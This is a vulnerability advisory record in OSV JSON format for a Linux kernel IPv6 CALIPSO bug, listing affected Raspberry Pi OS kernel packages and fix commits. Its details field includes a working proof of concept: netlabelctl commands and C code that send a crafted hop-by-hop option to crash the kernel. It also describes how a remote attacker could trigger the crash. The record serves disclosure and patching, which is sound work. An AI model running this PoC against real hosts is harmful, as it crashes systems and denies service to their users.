{ "schema_version": "1.6.1", "id": "RPI-CVE-2025-71085", "modified": "2026-10-09T11:39:44Z", "upstream": [ "CVE-2025-71085" ], "published": "2026-01-13T15:35:54Z", "summary": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()", "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = &dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg->cmsg_len = cmsg_len;\n cmsg->cmsg_level = IPPROTO_IPV6;\n cmsg->cmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, &msg, 0);", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "affected": [ { "package": { "ecosystem": "Raspberry Pi OS:12", "name": "linux" }, "versions": [ "1:6.1.47-1+rpt4" ], "ecosystem_specific": { "binaries": [ { "binary_name": "linux-image-6.1.0-rpi3-rpi-2712", "binary_version": "1:6.1.47-1+rpt4" }, { "binary_name": "linux-image-6.1.0-rpi3-rpi-v6", "binary_version": "1:6.1.47-1+rpt4" }, { "binary_name": "linux-image-6.1.0-rpi3-rpi-v7", "binary_version": "1:6.1.47-1+rpt4" }, { "binary_name": "linux-image-6.1.0-rpi3-rpi-v7l", "binary_version": "1:6.1.47-1+rpt4" }, { "binary_name": "linux-image-6.1.0-rpi3-rpi-v8", "binary_version": "1:6.1.47-1+rpt4" } ] }, "database_specific": { "per_version": { "1:6.1.47-1+rpt4": { "linux_commit": "655fc658a15ae7a6f37103754adb39ba52a9a14e", "upstream_version": "6.1.47", "assessment": "commit ancestry (strak rule)", "upstream_fixed": "6.1.160", "compiled_filter": false } } } } ], "references": [ { "type": "ADVISORY", "url": "https://www.cve.org/CVERecord?id=CVE-2025-71085" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570" }, { "type": "FIX", "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83" } ], "database_specific": { "source": "https://git.kernel.org/pub/scm/linux/security/vulns.git", "upstream_modified": "2026-08-05T12:19:11Z", "severity": { "source": "kernel CNA", "cvss_v3_score": 7.5, "cvss_v3_severity": "High", "scenario": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO's CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel's existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure." } } }